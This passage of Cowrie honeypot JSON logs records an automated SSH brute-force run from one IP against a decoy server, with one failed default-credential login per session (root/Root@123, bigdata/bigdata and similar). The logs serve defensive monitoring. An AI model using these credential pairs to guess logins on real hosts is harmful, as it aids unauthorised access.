ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:07.960510Z","src_ip":"47.86.95.62","session":"2c92bba3c8da","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"odoo14","password":"odoo14","message":"login attempt [odoo14/odoo14] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:08.753065Z","src_ip":"47.86.95.62","session":"2c92bba3c8da","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"4.1","message":"Connection lost after 4.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:11.878848Z","src_ip":"47.86.95.62","session":"2c92bba3c8da","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":42976,"dst_ip":"10.17.0.5","dst_port":22,"session":"950548139652","protocol":"ssh","message":"New connection: 47.86.95.62:42976 (10.17.0.5:22) [session: 950548139652]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:30.740112Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:30.760631Z","src_ip":"47.86.95.62","session":"950548139652","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:30.968958Z","src_ip":"47.86.95.62","session":"950548139652","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Root@123","message":"login attempt [root/Root@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:32.005051Z","src_ip":"47.86.95.62","session":"950548139652","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:33.243294Z","src_ip":"47.86.95.62","session":"950548139652","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":47520,"dst_ip":"10.17.0.5","dst_port":22,"session":"796fb0dfa9be","protocol":"ssh","message":"New connection: 47.86.95.62:47520 (10.17.0.5:22) [session: 796fb0dfa9be]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:36.423809Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:36.428667Z","src_ip":"47.86.95.62","session":"796fb0dfa9be","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:36.639934Z","src_ip":"47.86.95.62","session":"796fb0dfa9be","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abc123456","message":"login attempt [root/abc123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:37.273791Z","src_ip":"47.86.95.62","session":"796fb0dfa9be","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:38.519940Z","src_ip":"47.86.95.62","session":"796fb0dfa9be","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":57960,"dst_ip":"10.17.0.5","dst_port":22,"session":"912ab9c19382","protocol":"ssh","message":"New connection: 47.86.95.62:57960 (10.17.0.5:22) [session: 912ab9c19382]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:41.325316Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:49.990809Z","src_ip":"47.86.95.62","session":"912ab9c19382","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:53:49.994226Z","src_ip":"47.86.95.62","session":"912ab9c19382","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"admin@123","message":"login attempt [root/admin@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:04.738266Z","src_ip":"47.86.95.62","session":"912ab9c19382","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"27.9","message":"Connection lost after 27.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:09.222028Z","src_ip":"47.86.95.62","session":"912ab9c19382","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":34474,"dst_ip":"10.17.0.5","dst_port":22,"session":"a50304d6a26e","protocol":"ssh","message":"New connection: 47.86.95.62:34474 (10.17.0.5:22) [session: a50304d6a26e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:20.687896Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:20.706640Z","src_ip":"47.86.95.62","session":"a50304d6a26e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:20.895788Z","src_ip":"47.86.95.62","session":"a50304d6a26e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"bigdata","password":"bigdata","message":"login attempt [bigdata/bigdata] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:21.745502Z","src_ip":"47.86.95.62","session":"a50304d6a26e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.3","message":"Connection lost after 2.3 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:22.954808Z","src_ip":"47.86.95.62","session":"a50304d6a26e","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":52906,"dst_ip":"10.17.0.5","dst_port":22,"session":"0d96867aa042","protocol":"ssh","message":"New connection: 47.86.95.62:52906 (10.17.0.5:22) [session: 0d96867aa042]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:25.680766Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:25.685885Z","src_ip":"47.86.95.62","session":"0d96867aa042","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:25.889792Z","src_ip":"47.86.95.62","session":"0d96867aa042","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"cloud","password":"cloud","message":"login attempt [cloud/cloud] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:26.583389Z","src_ip":"47.86.95.62","session":"0d96867aa042","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:27.789453Z","src_ip":"47.86.95.62","session":"0d96867aa042","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":52922,"dst_ip":"10.17.0.5","dst_port":22,"session":"377679c20378","protocol":"ssh","message":"New connection: 47.86.95.62:52922 (10.17.0.5:22) [session: 377679c20378]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:30.644035Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:30.650449Z","src_ip":"47.86.95.62","session":"377679c20378","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:30.868340Z","src_ip":"47.86.95.62","session":"377679c20378","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"ducc0x","password":"phuvanduc","message":"login attempt [ducc0x/phuvanduc] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:32.008121Z","src_ip":"47.86.95.62","session":"377679c20378","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.4","message":"Connection lost after 6.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:37.084086Z","src_ip":"47.86.95.62","session":"377679c20378","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":46114,"dst_ip":"10.17.0.5","dst_port":22,"session":"65f7448c39e4","protocol":"ssh","message":"New connection: 47.86.95.62:46114 (10.17.0.5:22) [session: 65f7448c39e4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:52.301960Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:52.307084Z","src_ip":"47.86.95.62","session":"65f7448c39e4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:52.573303Z","src_ip":"47.86.95.62","session":"65f7448c39e4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"media","password":"media","message":"login attempt [media/media] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:53.462428Z","src_ip":"47.86.95.62","session":"65f7448c39e4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.5","message":"Connection lost after 2.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:54.808978Z","src_ip":"47.86.95.62","session":"65f7448c39e4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"47.86.95.62","src_port":46118,"dst_ip":"10.17.0.5","dst_port":22,"session":"200d002d1670","protocol":"ssh","message":"New connection: 47.86.95.62:46118 (10.17.0.5:22) [session: 200d002d1670]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:57.494546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:57.501074Z","src_ip":"47.86.95.62","session":"200d002d1670","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:57.712302Z","src_ip":"47.86.95.62","session":"200d002d1670","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"test","password":"1qaz@WSX","message":"login attempt [test/1qaz@WSX] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:58.344783Z","src_ip":"47.86.95.62","session":"200d002d1670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.1","message":"Connection lost after 2.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:54:59.553323Z","src_ip":"47.86.95.62","session":"200d002d1670","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":120.00558614730835,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:04.092653Z","src_ip":"187.222.242.146","session":"be47edaea894","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":120.00192332267761,"message":"Connection lost after 120 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-15T15:55:04.411785Z","src_ip":"187.222.242.146","session":"cc0c9605df29","protocol":"telnet"}
